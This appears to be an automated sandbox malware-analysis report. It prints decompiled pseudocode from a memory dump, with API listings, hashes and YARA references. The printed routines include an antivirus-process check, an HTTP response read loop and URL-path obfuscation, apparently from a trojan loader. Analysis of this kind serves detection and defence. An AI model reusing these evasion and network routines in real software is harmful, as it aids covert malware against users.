0x04635400
0x04635406
0x0463540b
0x0463540e
0x04635428
0x04635434
0x0463543d
0x04635447
0x0463544c
0x0463544e
0x04635451
0x046354ff
0x04635505
0x04635516
0x04635529
0x04635539
0x00000000
0x0463553e
0x0463545a
0x04635461
0x04635465
0x0463546b
0x0463546d
0x0463546f
0x04635471
0x04635473
0x0463547d
0x04635482
0x04635484
0x04635486
0x04635487
0x04635488
0x04635489
0x04635490
0x04635497
0x0463549a
0x0463549a
0x04635467
0x04635467
0x04635467
0x046354a2
0x046354aa
0x046354b3
0x046354b8
0x046354b8
0x046354bd
0x00000000
0x00000000
0x046354bf
0x046354c2
0x046354cc
0x00000000
0x00000000
0x046354ce
0x046354ce
0x046354d8
0x046354b8
0x046354bd
0x00000000
0x00000000
0x00000000
0x046354bd
0x046354e2
0x046354e5
0x046354e8
0x046354ef
0x046354ef
0x046354fc
0x00000000
0x046354fc
0x046353f7
0x046353fb
0x046353fc
0x046353fe
0x00000000
0x00000000
0x00000000
0x046353fe
0x00000000

APIs

_allmul.NTDLL(?,00000000,00000000,00000001), ref: 04635473
_aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 04635489
memset.NTDLL ref: 04635529
memset.NTDLL ref: 04635539

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: memset$_allmul_aulldiv
String ID:
API String ID: 3041852380-0
Opcode ID: c7bd12976faab34d39488f89918d215e899863cc72ee007c8d6752664afc9289
Instruction ID: 1f77c7215bb237bda266249a67f996f84fa6e4e664476a7463449ce61bb434d7
Opcode Fuzzy Hash: c7bd12976faab34d39488f89918d215e899863cc72ee007c8d6752664afc9289
Instruction Fuzzy Hash: EC418271A00299BBEB149FA8CC40BDE7775EF44316F108529F91BA7280FB70BD558B94

Uniqueness

Uniqueness Score: -1.00%

Function 0463A81C, Relevance: 6.1, APIs: 4, Instructions: 126stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000008,75144D40), ref: 0463A82E

Part of subcall function 0463A71F: RtlAllocateHeap.NTDLL(00000000,00000000,04635595), ref: 0463A72B

ResetEvent.KERNEL32(?), ref: 0463A8A2
GetLastError.KERNEL32 ref: 0463A8C5
GetLastError.KERNEL32 ref: 0463A970

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorHeapLast$AllocateEventFreeResetlstrlen
String ID:
API String ID: 943265810-0
Opcode ID: 8cd09a093aebb4d71e17043477985e50c4e876dde8096352dc24f77482af8f5f
Instruction ID: 4988cfe0586e61eeb28c7e6fe0615ce777bc050b6efd9583b928845b6005b3ce
Opcode Fuzzy Hash: 8cd09a093aebb4d71e17043477985e50c4e876dde8096352dc24f77482af8f5f
Instruction Fuzzy Hash: 27418E71500284BFD7219FE1CC88E5B7BBDEB9570AF114929F582E2190F732E945EB20

Uniqueness

Uniqueness Score: -1.00%

Function 046315FF, Relevance: 6.1, APIs: 4, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E046315FF(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				void* _t30;
				intOrPtr _t38;
				intOrPtr* _t39;
				intOrPtr* _t41;
				void* _t54;
				long _t64;
				void* _t67;
				void* _t69;

				_t58 = __ecx;
				_t67 = __eax;
				if( *((intOrPtr*)(__eax + 0xc)) != 0) {
					L2:
					_t30 = _t67;
					_pop(_t68);
					_t69 = _t30;
					_t64 = 0;
					ResetEvent( *(_t69 + 0x1c));
					_push( &_v8);
					_push(4);
					_push( &_v20);
					_push( *((intOrPtr*)(_t69 + 0x18)));
					if( *0x463d134() != 0) {
						L9:
						if(_v8 == 0) {
							 *((intOrPtr*)(_t69 + 0x30)) = 0;
						} else {
							 *0x463d164(0, 1,  &_v12);
							if(0 != 0) {
								_t64 = 8;
							} else {
								_t38 = E0463A71F(0x1000);
								_v16 = _t38;
								if(_t38 == 0) {
									_t64 = 8;
								} else {
									_push(0);
									_push(_v8);
									_push( &_v20);
									while(1) {
										_t41 = _v12;
										_t61 =  *_t41;
										 *((intOrPtr*)( *_t41 + 0x10))(_t41);
										ResetEvent( *(_t69 + 0x1c));
										_push( &_v8);
										_push(0x1000);
										_push(_v16);
										_push( *((intOrPtr*)(_t69 + 0x18)));
										if( *0x463d134() != 0) {
											goto L17;
										}
										_t64 = GetLastError();
										if(_t64 == 0x3e5) {
											_t64 = E04635646( *(_t69 + 0x1c), _t61, 0xffffffff);
											if(_t64 == 0) {
												_t64 =  *((intOrPtr*)(_t69 + 0x28));
												if(_t64 == 0) {
													goto L17;
												}
											}
										}
										L19:
										E0463A734(_v16);
										if(_t64 == 0) {
											_t64 = E046370CC(_v12, _t69);
										}
										goto L22;
										L17:
										_t64 = 0;
										if(_v8 != 0) {
											_push(0);
											_push(_v8);
											_push(_v16);
											continue;
										}
										goto L19;
									}
								}
								L22:
								_t39 = _v12;
								 *((intOrPtr*)( *_t39 + 8))(_t39);
							}
						}
					} else {
						_t64 = GetLastError();
						if(_t64 != 0x3e5) {
							L8:
							if(_t64 == 0) {
								goto L9;
							}
						} else {
							_t64 = E04635646( *(_t69 + 0x1c), _t58, 0xffffffff);
							if(_t64 == 0) {
								_t64 =  *((intOrPtr*)(_t69 + 0x28));
								goto L8;
							}
						}
					}
					return _t64;
				} else {
					_t54 = E04639242(__ecx, __eax);
					if(_t54 != 0) {
						return _t54;
					} else {
						goto L2;
					}
				}
			}

0x046315ff
0x04631600
0x04631606
0x04631611
0x04631611
0x04631613
0x046318e7
0x046318ec
0x046318ee
0x046318f3
0x046318f4
0x046318f9
0x046318fa
0x04631905
0x04631936
0x0463193b
0x046319fe
0x04631941
0x04631948
0x04631950
0x046319fb
0x04631956
0x0463195b
0x04631960
0x04631965
0x046319ed
0x0463196b
0x0463196b
0x0463196d
0x04631973
0x04631974
0x04631974
0x04631977
0x0463197a
0x04631980
0x04631985
0x04631986
0x0463198b
0x0463198e
0x04631999
0x00000000
0x00000000
0x046319a1
0x046319a9
0x046319b5
0x046319b9
0x046319bb
0x046319c0
0x00000000
0x00000000
0x046319c0
0x046319b9
0x046319d2
0x046319d5
0x046319dc
0x046319e7
0x046319e7
0x00000000
0x046319c2
0x046319c2
0x046319c7
0x046319c9
0x046319ca
0x046319cd
0x00000000
0x046319cd
0x00000000
0x046319c7
0x04631974
0x046319ee
0x046319ee
0x046319f4
0x046319f4
0x04631950
0x04631907
0x0463190d
0x04631915
0x0463192e
0x04631930
0x00000000
0x00000000
0x04631917
0x04631921
0x04631925
0x0463192b
0x00000000
0x0463192b
0x04631925
0x04631915
0x04631a07
0x04631608
0x04631608
0x0463160f
0x0463161a
0x00000000
0x00000000
0x00000000
0x0463160f

APIs

ResetEvent.KERNEL32(?,00000000,?,00000102,?,?,00000000,00000000,751881D0), ref: 046318EE
GetLastError.KERNEL32(?,?,?,00000000,751881D0), ref: 04631907
ResetEvent.KERNEL32(?), ref: 04631980
GetLastError.KERNEL32 ref: 0463199B

Part of subcall function 04639242: WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 04639259
Part of subcall function 04639242: SetEvent.KERNEL32(?), ref: 04639269

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Event$ErrorLastReset$ObjectSingleWait
String ID:
API String ID: 1123145548-0
Opcode ID: 27403b2cd4eb2aec9a547f5051ca7b6c5dd8f06f3ae6f191dc9559e52dc6f2ab
Instruction ID: e18d004ae149eeb32ec5809308d6035962161339d30d2837e8b6c0f64ba348fe
Opcode Fuzzy Hash: 27403b2cd4eb2aec9a547f5051ca7b6c5dd8f06f3ae6f191dc9559e52dc6f2ab
Instruction Fuzzy Hash: 5241A032600684ABDB219FA5CC44AEEB7B9EF8936BF100529E552D7290FB30FD419B50

Uniqueness

Uniqueness Score: -1.00%

Function 046311EE, Relevance: 6.1, APIs: 4, Instructions: 96
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E046311EE(signed int _a4, signed int* _a8) {
				void* __ecx;
				void* __edi;
				signed int _t6;
				intOrPtr _t8;
				intOrPtr _t12;
				short* _t19;
				void* _t25;
				signed int* _t28;
				CHAR* _t30;
				long _t31;
				intOrPtr* _t32;

				_t6 =  *0x463d270; // 0xd448b889
				_t32 = _a4;
				_a4 = _t6 ^ 0x109a6410;
				_t8 =  *0x463d2a8; // 0xb2a5a8
				_t3 = _t8 + 0x463e87e; // 0x61636f4c
				_t25 = 0;
				_t30 = E046338A8(_t3, 1);
				if(_t30 != 0) {
					_t25 = CreateEventA(0x463d2ac, 1, 0, _t30);
					E0463A734(_t30);
				}
				_t12 =  *0x463d25c; // 0x4000000a
				if(_t12 <= 5 || _t12 == 6 && _t12 >= 2 ||  *_t32 == 0 || E0463A65C() != 0) {
					L12:
					_t28 = _a8;
					if(_t28 != 0) {
						 *_t28 =  *_t28 | 0x00000001;
					}
					_t31 = E04638EA1(_t32, 0);
					if(_t31 == 0 && _t25 != 0) {
						_t31 = WaitForSingleObject(_t25, 0x4e20);
					}
					if(_t28 != 0 && _t31 != 0) {
						 *_t28 =  *_t28 & 0xfffffffe;
					}
					goto L20;
				} else {
					_t19 =  *0x463d10c( *_t32, 0x20);
					if(_t19 != 0) {
						 *_t19 = 0;
						_t19 = _t19 + 2;
					}
					_t31 = E0463A273(0,  *_t32, _t19, 0);
					if(_t31 == 0) {
						if(_t25 == 0) {
							L22:
							return _t31;
						}
						_t31 = WaitForSingleObject(_t25, 0x4e20);
						if(_t31 == 0) {
							L20:
							if(_t25 != 0) {
								CloseHandle(_t25);
							}
							goto L22;
						}
					}
					goto L12;
				}
			}

0x046311ef
0x046311f6
0x04631200
0x04631204
0x0463120a
0x04631219
0x04631220
0x04631224
0x04631236
0x04631238
0x04631238
0x0463123d
0x04631244
0x0463129b
0x0463129b
0x046312a1
0x046312a3
0x046312a3
0x046312ad
0x046312b1
0x046312c3
0x046312c3
0x046312c7
0x046312cd
0x046312cd
0x00000000
0x0463125d
0x04631262
0x0463126a
0x0463126e
0x04631272
0x04631272
0x0463127f
0x04631283
0x04631287
0x046312dc
0x046312e2
0x046312e2
0x04631295
0x04631299
0x046312d0
0x046312d2
0x046312d5
0x046312d5
0x00000000
0x046312d2
0x04631299
0x00000000
0x04631283

APIs

Part of subcall function 046338A8: lstrlen.KERNEL32(00000005,00000000,63699BC3,00000027,00000000,05169A98,00000000,?,?,63699BC3,00000005,0463D00C,?,?,04635D30), ref: 046338DE
Part of subcall function 046338A8: lstrcpy.KERNEL32(00000000,00000000), ref: 04633902
Part of subcall function 046338A8: lstrcat.KERNEL32(00000000,00000000), ref: 0463390A

CreateEventA.KERNEL32(0463D2AC,00000001,00000000,00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04633760,?,00000001,?), ref: 0463122F

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

WaitForSingleObject.KERNEL32(00000000,00004E20,04633760,00000000,00000000,?,00000000,?,04633760,?,00000001,?,?,?,?,046352AA), ref: 0463128F
WaitForSingleObject.KERNEL32(00000000,00004E20,61636F4C,00000001,00000000,00000001,?,00000000,?,04633760,?,00000001,?), ref: 046312BD
CloseHandle.KERNEL32(00000000,61636F4C,00000001,00000000,00000001,?,00000000,?,04633760,?,00000001,?,?,?,?,046352AA), ref: 046312D5

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ObjectSingleWait$CloseCreateEventFreeHandleHeaplstrcatlstrcpylstrlen
String ID:
API String ID: 73268831-0
Opcode ID: 0904778d2a7e9b7b29458cda2a22fb13eb776b0089dd1e2a38acbe15e34498ce
Instruction ID: 1054c62e7dd5baba2521e5ebad6de8b867c1f9b67fd1b4daf41b7f4f2d8f848c
Opcode Fuzzy Hash: 0904778d2a7e9b7b29458cda2a22fb13eb776b0089dd1e2a38acbe15e34498ce
Instruction Fuzzy Hash: EF21E432A003D05BD721DAA88C44EEB73A9FFAA713F050619FA55E7240FB75EC818694

Uniqueness

Uniqueness Score: -1.00%

Function 04639242, Relevance: 6.1, APIs: 4, Instructions: 92
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E04639242(void* __ecx, void* __esi) {
				char _v8;
				long _v12;
				char _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				intOrPtr _t58;
				void* _t59;
				intOrPtr* _t60;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				_t60 =  *0x463d13c; // 0x463abf1
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_push( &_v16);
						_push( &_v8);
						_push(_t61 + 0x2c);
						_push(0x20000013);
						_push( *((intOrPtr*)(_t61 + 0x18)));
						_v8 = 4;
						_v16 = 0;
						if( *_t60() == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *((intOrPtr*)(_t61 + 0x2c)) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							 *_t60( *((intOrPtr*)(_t61 + 0x18)), 0x16, 0,  &_v8,  &_v16);
							_t58 = E0463A71F(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								_push( &_v16);
								_push( &_v8);
								_push(_t58);
								_push(0x16);
								_push( *((intOrPtr*)(_t61 + 0x18)));
								if( *_t60() == 0) {
									E0463A734(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *((intOrPtr*)(_t61 + 0xc)) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04635646( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}

0x04639242
0x04639242
0x0463924c
0x04639252
0x04639255
0x04639259
0x0463925f
0x04639264
0x0463927d
0x04639280
0x04639284
0x04639288
0x04639289
0x0463928e
0x04639291
0x04639298
0x0463929f
0x046392f2
0x046392f8
0x046392fe
0x04639339
0x0463933f
0x00000000
0x00000000
0x00000000
0x046392fe
0x046392a5
0x00000000
0x046392ac
0x046392ba
0x046392bd
0x046392c0
0x046392cc
0x046392d0
0x04639332
0x046392d2
0x046392d5
0x046392d9
0x046392da
0x046392db
0x046392dd
0x046392e4
0x04639322
0x0463932d
0x046392e6
0x046392e9
0x046392ed
0x046392ed
0x046392e4
0x00000000
0x046392d0
0x046392a5
0x04639269
0x0463926f
0x04639272
0x04639277
0x00000000
0x00000000
0x00000000
0x04639307
0x0463930f
0x04639314
0x04639317
0x00000000

APIs

WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,00000000,00000000,751881D0), ref: 04639259
SetEvent.KERNEL32(?), ref: 04639269
GetLastError.KERNEL32 ref: 046392F2

Part of subcall function 04635646: WaitForMultipleObjects.KERNEL32(00000002,0463A8E3,00000000,0463A8E3,?,?,?,0463A8E3,0000EA60), ref: 04635661

Part of subcall function 0463A734: RtlFreeHeap.NTDLL(00000000,00000000,04635637,00000000,?,?,00000000), ref: 0463A740

GetLastError.KERNEL32(00000000), ref: 04639327

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
String ID:
API String ID: 602384898-0
Opcode ID: f9cfc0b01253cf8ed240c10d1b73f85d07997348e1d24e41fc4fd88658262550
Instruction ID: 43b81035d6feedb76e2b56e6a042ab1de0be2cb9a41cba7541f786d71e11f9e6
Opcode Fuzzy Hash: f9cfc0b01253cf8ed240c10d1b73f85d07997348e1d24e41fc4fd88658262550
Instruction Fuzzy Hash: 39312FF5900388EFEB20DFE5CCC499EB7B8EB18305F10496AE542E2250E775EA499F50

Uniqueness

Uniqueness Score: -1.00%

Function 046317E5, Relevance: 6.1, APIs: 4, Instructions: 61
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E046317E5(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x463d238, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x463d250; // 0x5fa6cf42
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x463d250 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

0x046317ed
0x046317f0
0x046317f6
0x0463180e
0x04631810
0x04631815
0x04631817
0x0463181a
0x0463181c
0x0463181f
0x04631821
0x04631821
0x04631823
0x0463182e
0x04631833
0x04631844
0x0463184c
0x04631851
0x04631854
0x04631857
0x04631859
0x0463185c
0x0463185f
0x0463185f
0x04631862
0x0463186d
0x04631872
0x0463187c

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04631C49,00000000,?,?,046320C2,?,051695B0), ref: 046317F0
RtlAllocateHeap.NTDLL(00000000,?), ref: 04631808
memcpy.NTDLL(00000000,?,-00000008,?,?,?,04631C49,00000000,?,?,046320C2,?,051695B0), ref: 0463184C
memcpy.NTDLL(00000001,?,00000001), ref: 0463186D

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpy$AllocateHeaplstrlen
String ID:
API String ID: 1819133394-0
Opcode ID: 815118b1599dcf0a12c8a89eb32d141d3fcc908c994ccd3a47345adb5826a97b
Instruction ID: ac02769aaaecc6fd7e0ccf3ca83dd81efe5cb10838c04f10cd539f22cd9dacea
Opcode Fuzzy Hash: 815118b1599dcf0a12c8a89eb32d141d3fcc908c994ccd3a47345adb5826a97b
Instruction Fuzzy Hash: AB11C672A00194BFD710CF69DC84E9EBBAADF95262F050176F5049B250F7749E0487A4

Uniqueness

Uniqueness Score: -1.00%

Function 0463A65C, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0463A65C() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0x463d2a8; // 0xb2a5a8
						_t2 = _t9 + 0x463ee34; // 0x73617661
						_push( &_v264);
						if( *0x463d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x0463a667
0x0463a671
0x0463a675
0x0463a67f
0x0463a6b0
0x0463a686
0x0463a68b
0x0463a698
0x0463a6a1
0x0463a6b8
0x0463a6a3
0x0463a6ab
0x00000000
0x0463a6ab
0x0463a6b9
0x0463a6ba
0x00000000
0x0463a6ba
0x00000000
0x0463a6b4
0x0463a6c0
0x0463a6c5

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0463A66C
Process32First.KERNEL32(00000000,?), ref: 0463A67F
Process32Next.KERNEL32(00000000,?), ref: 0463A6AB
CloseHandle.KERNEL32(00000000), ref: 0463A6BA

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f87be5c3df30c023ad308eb69fbb38018cc68beddad561821823499972e26152
Instruction ID: 012e860bd83220e01d77f95e3b3ca8e77024d4320cdd311b0a8ea553283d922f
Opcode Fuzzy Hash: f87be5c3df30c023ad308eb69fbb38018cc68beddad561821823499972e26152
Instruction Fuzzy Hash: 5BF0F0327011A46AEB20AAA29C48DEB76ACDB86213F000261F945C2200FA34EE4686B5

Uniqueness

Uniqueness Score: -1.00%

Function 04636840, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E04636840(void* __esi) {
				struct _SECURITY_ATTRIBUTES* _v4;
				void* _t8;
				void* _t10;

				_v4 = 0;
				memset(__esi, 0, 0x38);
				_t8 = CreateEventA(0, 1, 0, 0);
				 *(__esi + 0x1c) = _t8;
				if(_t8 != 0) {
					_t10 = CreateEventA(0, 1, 1, 0);
					 *(__esi + 0x20) = _t10;
					if(_t10 == 0) {
						CloseHandle( *(__esi + 0x1c));
					} else {
						_v4 = 1;
					}
				}
				return _v4;
			}

0x0463684a
0x0463684e
0x04636863
0x04636865
0x0463686a
0x04636870
0x04636872
0x04636877
0x04636882
0x04636879
0x04636879
0x04636879
0x04636877
0x04636890

APIs

memset.NTDLL ref: 0463684E
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,751881D0), ref: 04636863
CreateEventA.KERNEL32(00000000,00000001,00000001,00000000), ref: 04636870
CloseHandle.KERNEL32(?), ref: 04636882

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateEvent$CloseHandlememset
String ID:
API String ID: 2812548120-0
Opcode ID: 5b99046eb16d853e76155978749fdf92210ab05e767bc672fdf4df7359b29313
Instruction ID: 8cb208e506f1f8585895b8c7f893dda5c39f3bfd9fd3cc1a909d9a3f7369aa52
Opcode Fuzzy Hash: 5b99046eb16d853e76155978749fdf92210ab05e767bc672fdf4df7359b29313
Instruction Fuzzy Hash: DBF089F210434C7FD3206F26DCC4C27BBACEB6519EB114E2DF14292111E676BC094A70

Uniqueness

Uniqueness Score: -1.00%

Function 04631B42, Relevance: 6.0, APIs: 4, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04631B42() {
				void* _t1;
				intOrPtr _t5;
				void* _t6;
				void* _t7;
				void* _t11;

				_t1 =  *0x463d26c; // 0x2cc
				if(_t1 == 0) {
					L8:
					return 0;
				}
				SetEvent(_t1);
				_t11 = 0x7fffffff;
				while(1) {
					SleepEx(0x64, 1);
					_t5 =  *0x463d2bc; // 0x0
					if(_t5 == 0) {
						break;
					}
					_t11 = _t11 - 0x64;
					if(_t11 > 0) {
						continue;
					}
					break;
				}
				_t6 =  *0x463d26c; // 0x2cc
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				_t7 =  *0x463d238; // 0x4d70000
				if(_t7 != 0) {
					HeapDestroy(_t7);
				}
				goto L8;
			}

0x04631b42
0x04631b49
0x04631b93
0x04631b95
0x04631b95
0x04631b4d
0x04631b53
0x04631b58
0x04631b5c
0x04631b62
0x04631b69
0x00000000
0x00000000
0x04631b6b
0x04631b70
0x00000000
0x00000000
0x00000000
0x04631b70
0x04631b72
0x04631b7a
0x04631b7d
0x04631b7d
0x04631b83
0x04631b8a
0x04631b8d
0x04631b8d
0x00000000

APIs

SetEvent.KERNEL32(000002CC,00000001,04634F0E), ref: 04631B4D
SleepEx.KERNEL32(00000064,00000001), ref: 04631B5C
CloseHandle.KERNEL32(000002CC), ref: 04631B7D
HeapDestroy.KERNEL32(04D70000), ref: 04631B8D

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

Associated: 00000003.00000002.495297118.0000000004630000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495381706.000000000463C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.495421061.000000000463D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.495461279.000000000463F000.00000002.00000001.sdmp Download File

Similarity

API ID: CloseDestroyEventHandleHeapSleep
String ID:
API String ID: 4109453060-0
Opcode ID: 980c6cf383e99f20c16dd44f1e6f90f71143871b05655d6637a5125f1164c446
Instruction ID: 6956bf83e9448e55e0ec7aae9d98f7b4ce9f2533b47e8545bce7ff3480f46818
Opcode Fuzzy Hash: 980c6cf383e99f20c16dd44f1e6f90f71143871b05655d6637a5125f1164c446
Instruction Fuzzy Hash: A6F03072A013D197EB109B35E848E963B98EB25763B081250B906E7380FB79EC409660

Uniqueness

Uniqueness Score: -1.00%

Function 046323F4, Relevance: 6.0, APIs: 4, Instructions: 29
sleepmemoryCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E046323F4(void** __esi) {
				char* _v0;
				intOrPtr _t4;
				intOrPtr _t6;
				void* _t8;
				intOrPtr _t11;
				void* _t12;
				void** _t14;

				_t14 = __esi;
				_t4 =  *0x463d32c; // 0x51695b0
				__imp__(_t4 + 0x40);
				while(1) {
					_t6 =  *0x463d32c; // 0x51695b0
					_t1 = _t6 + 0x58; // 0x0
					if( *_t1 == 0) {
						break;
					}
					Sleep(0xa);
				}
				_t8 =  *_t14;
				if(_t8 != 0 && _t8 != 0x463d030) {
					HeapFree( *0x463d238, 0, _t8);
				}
				_t14[1] = E0463486F(_v0, _t14);
				_t11 =  *0x463d32c; // 0x51695b0
				_t12 = _t11 + 0x40;
				__imp__(_t12);
				return _t12;
			}

0x046323f4
0x046323f4
0x046323fd
0x0463240d
0x0463240d
0x04632412
0x04632417
0x00000000
0x00000000
0x04632407
0x04632407
0x04632419
0x0463241d
0x0463242f
0x0463242f
0x0463243f
0x04632442
0x04632447
0x0463244b
0x04632451

APIs

RtlEnterCriticalSection.NTDLL(05169570), ref: 046323FD
Sleep.KERNEL32(0000000A,?,04635D25), ref: 04632407
HeapFree.KERNEL32(00000000,00000000,?,04635D25), ref: 0463242F
RtlLeaveCriticalSection.NTDLL(05169570), ref: 0463244B

Memory Dump Source

Source File: 00000003.00000002.495310347.0000000004631000.00000020.00000001.sdmp, Offset: 04630000, based on PE: true

